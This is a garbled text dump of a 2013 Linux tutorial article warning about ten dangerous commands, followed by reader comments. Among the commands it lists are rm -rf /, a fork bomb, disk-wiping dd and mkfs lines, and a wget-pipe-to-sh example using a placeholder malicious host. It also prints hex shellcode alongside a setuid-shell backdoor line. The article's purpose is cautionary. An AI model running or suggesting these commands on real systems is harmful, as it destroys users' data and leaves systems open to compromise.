Académique Documents
Professionnel Documents
Culture Documents
2014
Advertise
LinuxServices
About
Archives
ContactUs
CopyrightPolicy
DonatetoTecMint
Search
Home
LinuxDistros
InterviewQuestions
ShellScripting
FreeLinuxeBooks
LinuxCommands
Tools
DiliSein
eviritarafndandesteklenmektedirDidYouKnow?
LFCSLinuxFoundationCertifiedSysAdminExamPreparationGuide
Gotatip?Letusknow
10MostDangerousCommandsYouShouldNeverExecuteon
Linux
ByAvishekKumarUnder:LinuxCommandsOn:November21,2013
Install
DownloadYourFreeeBooksNOW10FreeLinuxeBooksforAdministrators
Linuxcommandlineisproductive,usefulandinterestingbutsometimesitmaybeverymuchdangerous
speciallywhenyouarenotsurewhatyouaredoing.ThisarticleisnotintendedtomakeyoufuriousofLinuxor
Linuxcommandline.Wejustwanttomakeyouawareofsomeofthecommandswhichyoushouldthink
twicebeforeyouexecutethem.
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
1/11
21.11.2014
10DangerousLinuxCommands
1.rmrfCommand
Thermrfcommandisoneofthefastestwaytodeleteafolderanditscontents.Butalittletypoorignorance
mayresultintounrecoverablesystemdamage.Thesomeofoptionsusedwithrmcommandare.
1. rmcommandinLinuxisusedtodeletefiles.
2. rmrcommanddeletesthefolderrecursively,eventheemptyfolder.
3. rmfcommandremovesReadonlyFilewithoutasking.
4. rmrf/:Forcedeletionofeverythinginrootdirectory.
5. rmrf*:Forcedeletionofeverythingincurrentdirectory/workingdirectory.
6. rmrf.:Forcedeletionofcurrentfolderandsubfolders.
Hence,becarefulwhenyouareexecutingrmrfcommand.Toovercomeaccidentaldeleteoffilebyrm
command,createanaliasofrmcommandasrmiin.bashrcfile,itwillaskyoutoconfirmevery
deletion.
2.:(){:|:&}:Command
Theaboveisactuallyaforkbomb.Itoperatesbydefiningafunctioncalled:,whichcallsitselftwice,oncein
theforegroundandonceinthebackground.Itkeepsonexecutingagainandagaintillthesystemfreezes.
:(){:|:&};:
3.command>/dev/sda
Theabovecommandwritestheoutputofcommandontheblock/dev/sda.Theabovecommandwritesraw
dataandallthefilesontheblockwillbereplacedwithrawdata,thusresultingintotallossofdataontheblock.
4.mvfolder/dev/null
Theabovecommandwillmovefolderto/dev/null.InLinux/dev/nullornulldeviceisaspecialfilethat
discardsallthedatawrittentoitandreportsthatwriteoperationsucceed.
# mv /home/user/* /dev/null
TheabovecommandwillmoveallthecontentsofaUserdirectoryto/dev/null,whichliterallymeans
everythingtherewassenttoblackhole(null).
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
2/11
21.11.2014
5.wgethttp://malicious_sourceO|sh
Theabovecommandwilldownloadascriptfromamalicioussourceandthenexecuteit.Wgetcommandwill
downloadthescriptandshwillexecutethedownloadedscript.
Note:Youshouldbeverymuchawareofthesourcefromwhereyouaredownloadingpackagesandscripts.
Onlyusethosescripts/applicationswhichisdownloadedfromatrustedsource.
6.mkfs.ext3/dev/sda
Theabovecommandwillformattheblocksdaandyouwouldsurelybeknowingthatafterexecutionofthe
abovecommandyourBlock(HardDiskDrive)wouldbenew,BRANDNEW!Withoutanydata,leavingyour
systemintounrecoverablestage.
7.>file
Theabovecommandisusedtoflushthecontentoffile.Iftheabovecommandisexecutedwithatypoor
ignorancelike>xt.confwillwritetheconfigurationfileoranyothersystemorconfigurationfile.
8.^foo^bar
Thiscommand,asdescribedinour10LesserKnownLinuxCommands,isusedtoeditthepreviousrun
commandwithouttheneedofretypingthewholecommandagain.Butthiscanreallybetroublesomeifyou
didnttooktheriskofthoroughlycheckingthechangeinoriginalcommandusing^foo^barcommand.
9.ddif=/dev/randomof=/dev/sda
Theabovecommandwillwipeouttheblocksdaandwriterandomjunkdatatotheblock.Ofcourse!Your
systemwouldbeleftatinconsistentandunrecoverablestage.
10.HiddentheCommand
Thebelowcommandisnothingbutthefirstcommandabove(rmrf).Herethecodesarehiddeninhexsothat
anignorantusermaybefooled.Runningthebelowcodeinyourterminalwillwipeyourrootpartition.
Thiscommandhereshowsthatthethreatmaybehiddenandnotnormallydetectablesometimes.Youmustbe
awareofwhatyouaredoingandwhatwouldbetheresult.Dontcompile/runcodesfromanunknownsource.
char esp[] __attribute__ ((section(.text))) /* e.s.p
release */
= \xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68
\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99
\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7
\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56
\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31
\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69
\x6e\x2f\x73\x68\x00\x2d\x63\x00
cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;;
Note:DontexecuteanyoftheabovecommandinyourLinuxterminalorshellorofyourfriendorschool
computer.Ifyouwanttotestthem,runtheminvirtualmachine.Anyinconsistenceordataloss,duetothe
executionofabovecommandwillbreakyoursystemdownforwhich,neithertheAuthorofthearticlenor
Tecmintisresponsible.
Thatsallfornow.Iwillsoonbehereagainwithanotherinterestingarticleyoupeoplewilllovetoread.Till
thenStaytunedandconnectedtoTecmint.IfyouknowanyothersuchDangerousLinuxCommandsandyou
wouldlikeustoaddtothelist,pleasetellusviacommentsectionanddontforgottogiveyourvalueable
feedback.
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
3/11
21.11.2014
Bio
LatestPosts
AvishekKumar
Iamamajorincomputerscience,lovetoresearchnix.Ilovetowritecodesandscripts,
reviewdistros,experimentFossTechnologies,writetechnicalarticles,Hack,ofcourse
Ethically.IamworkingasSystemAdministrator(nix)foraNGO.
DownloadFreeeBooks
58
Tweet
51
3
Share
16
comments
PreviousPost
10LesserKnownCommandsforLinuxPart3
NextPost
10LesserKnownEffectiveLinuxCommandsPartIV
RelatedPost(s):
1. 10Wget(LinuxFileDownloader)CommandExamplesinLinux
2. HowtoGetHardwareInformationwithDmidecodeCommandonLinux
3. RealTimeInteractiveIPLANMonitoringwithIPTrafTool
4. 11CronSchedulingTaskExamplesinLinux
5. AdvancedCopyCommandShowsProgressBarWhileCopyingLargeFiles/FoldersinLinux
6. 10Usefuldu(DiskUsage)CommandstoFindDiskUsageofFilesandDirectories
16Responses
1.
areafiddyonesays:
November21,2013at9:19pm
Youcantbeserious.Thisismorelikeahowtoguidethanawarning.
Reply
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
4/11
21.11.2014
2.
FelipeAlcacibarsays:
November22,2013at4:04am
Whataboutkillall5
Reply
AvishekKumarsays:
December4,2013at4:27pm
@FelipeAlcacibar:)
Reply
3.
Tomiksays:
November22,2013at10:34pm
AboutNo.9.howlongtimeitwillbefor500GBHDD.IwouldlikewipeoutmyHDDwhenIwill
changemyoldercomputertonewerone,andIwouldliketouseitfordeletealldataonthatHDD.So
nobodycouldreaditandafterreformatingthatHDDwillbestillusable.
Anditshouldbestartfromterminalafterstartsystem?OrIshouldchroottoit?
Thxforanswers..Ididntdothis,neverbutIwouldliketouseitinnearfuture.Haveaniceday.
Reply
Rubbermansays:
December3,2013at6:41am
Iusethiscommand(#9)towipeadrive,anditcantakealongtime.Ihavefoundthataddingthe
optionbs=1M(blocksize==1MB)helps(thedefaultwritesizeis,Ithink,64KB).Biggerthanthat
Ihaventfoundhelpsmuch.Lesstakeslonger.
Thatsaid,caveatuser!IfyouusethewrongdeviceID,youcanbeinserioustrouble,kindoflike
running(asroot)rmrf*whenyouareintherootofthefilesystem:)Ivedonethat,and
thentookacoupleofdaystorecovermydataIonlyneededtodoitoncetolearnmylesson!
Reply
AvishekKumarsays:
December4,2013at4:21pm
Thanks@Rubbermanforyourconcern.
Reply
4.
saniasays:
November28,2013at1:36am
Seriously?Areyoumakingallthisup?
Howcanoneevencomeupwithsomehtinglikeno.5.Also,no.6isjustaparticularcaseofmkfs.XYZ.
Andhowno.9issaferthanddif=/dev/zeroof=/dev/sda?BTW,Iuseno.7allthetimewhenIneedto
eraseafile.Thereforethefollowingsentencedoesntmakemuchsensetome:
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
5/11
21.11.2014
Note:DontexecuteanyoftheabovecommandinyourLinuxterminalorshellorofyourfriendor
schoolcomputer.
Regards
Reply
AvishekKumarsays:
December4,2013at4:23pm
@sania,ifyoudidthat,anditwasokwithyou,nevermeansyouwereright.Therearealotof
relativenewusersandrememberanyonecancommitmistake,onemistakeandyouarelost.
Reply
5.
yksoft1says:
December8,2013at10:36am
Thelastoneseemedtobex86only
Reply
6.
JPerformersays:
December16,2013at12:14am
Avishek,
doyourememberfor(old)dangerousUnixcommandyes?
please,trythisfromcommandline(withoutquotas):
yes>/dev/null|&
Julius
AGNICOLISlovakia
Reply
7.
JzeetMachinatesays:
July27,2014at10:21am
Ihavebeenaskedtoprint6th,7thand8thline.Iftherea10linesinthefile.OnlyusingtheHEAD
command.Wecanuseheadcommandnotmorethan3times.
Soonecananswerme.Illbeverythankfultoone.!!
ThankYou.!!
Reply
8.
Rajusays:
August21,2014at10:00pm
@JzeetMachinate
Iamalearnerinscriptingjustihavetriedforsolutionanditsworked
catfilename|head7|tail3
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
6/11
21.11.2014
butwhenicheckedthegoogleithasmanysolutiontoprintthelines
ex:sedawk
Thanks
Reply
9.
Rajusays:
August21,2014at10:02pm
@Avishek,
Itsveryuseful:)
Reply
AvishekKumarsays:
August23,2014at3:14pm
@Raju
Goodtoknowthat.
Reply
10.
#chmodR000/says:
November8,2014at9:08pm
#chmodR000/
Reply
AvishekKumarsays:
November10,2014at5:29pm
$touchtest
$lsltest
rwrr1aviavi0Nov1017:21test
$chmodR000test
$lsltest
1aviavi0Nov1017:21test
Itisbasicallychangingfilemodebits.Thereseemsnoreasontoincludetheabovecommandunder
DangerousLinuxCommands
Reply
LeaveaReply
Name(Required)
Mail(willnotbepublished)(Required)
Website
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
7/11
21.11.2014
SubmitComment
Twitter1838Twitter
Facebook42041Facebook
Google+8004Google+
RSS3861Subscribers
BecomeATecMintSubscribertoreceivelatestUpdates.
EnterYourEmailAddress:) Signup!
Popular
Latest
Comments
Tags
HowtoAddLinuxHosttoNagiosMonitoringServerUsingNRPEPlugin239Comments
Nagios4.0.1ReleasedInstallonRHEL/CentOS6.x/5.xandFedora19/18/17191Comments
CentOS6.4StepbyStepInstallationGuidewithScreenshots175Comments
Wine1.6.2StableReleasedInstallinRHEL,CentOSandFedora171Comments
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
8/11
21.11.2014
InstallApache2.2.15,MySQL5.5.34&PHP5.5.4onRHEL/CentOS6.4/5.9&Fedora1912165
Comments
GoogleChrome39ReleasedInstallonRHEL/CentOS7/6andFedora2015160Comments
::Advertise::
::DownloadFreeLinuxeBooks::
CompleteLinuxCommandLineCheatSheet
TheGNU/LinuxAdvancedAdministrationGuide
Securing&OptimizingLinuxServers
LinuxPatchManagement:KeepingLinuxUpToDate
IntroductiontoLinuxAHandsonGuide
UnderstandingtheLinuxVirtualMemoryManager
LinuxBiblePackedwithUpdatesandExercises
ANewbiesGettingStartedGuidetoLinux
LinuxfromScratchCreateYourOwnLinuxOS
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
9/11
21.11.2014
LinuxShellScriptingCookbook,SecondEdition
Securing&OptimizingLinux:TheHackingSolution
UserModeLinuxUnderstandingandAdministration
::FollowUs::
TecMint.com
google.com/+Tecmint
Tecmint: Linux Howtos, Tutorials & Guides
2 evre
+1
+ 9.042
::About::
TecMint.comisawebsitethatpublishespracticalandusefuloutoftheboxarticlesforaspirantlikeyouand
me.Weseektopresentexceptional,remarkabletips,tutorials,andresourcesthatthemodernwebprofessional
willappreciate.
::OurServices::
KnowMore
WeofferwiderangeofLinuxWebHostingandManagementServicesincludesLinuxhosting,
WordPresshosting,JoomlaHosting,CMShosting,WebsitemigrationandCustomsolutions,makingusaone
stopdestinationforallyourpossiblehostingneedsatfairminimumrates.
::Advertise::
SubmitOrder
TecMint.comisvisitedbytensofthousandsofLinuxusersandhasaexcellentreputationinthe
searchengineranking.MostofthetrafficcomesfromGoogleorganicsearch(80%).Spreadyourmessagesor
productstoanengagedreadersbyadvertisingwithus.
Thisworkislicensedundera(cc)BYNC|TecMintusescookies.Byusingourservices,you
complytouseofourcookies.Moreinfo:PrivacyPolicy.
20122014AllRightsReserved.
AdvertiseNow
10UsefulFreeLinuxeBooksforNewbiesandAdministrators
25HardeningSecurityTipsforLinuxServers
60CommandsofLinux:AGuidefromNewbiestoSystemAdministrator
15CommandLineToolstoMonitorLinuxPerformance
5BestPracticestoSecureandProtectSSHServer
18TarCommandExamplesinLinux
20LinuxYUM(YellowdogUpdater,Modified)Commands
25UsefulBasicCommandsofAPTGETandAPTCACHE
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
10/11
21.11.2014
20FunnyCommandsofLinuxorLinuxisFuninTerminal
35PracticalExamplesofLinuxFindCommand
10LinuxDistributionsandTheirTargetedUsers
http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
11/11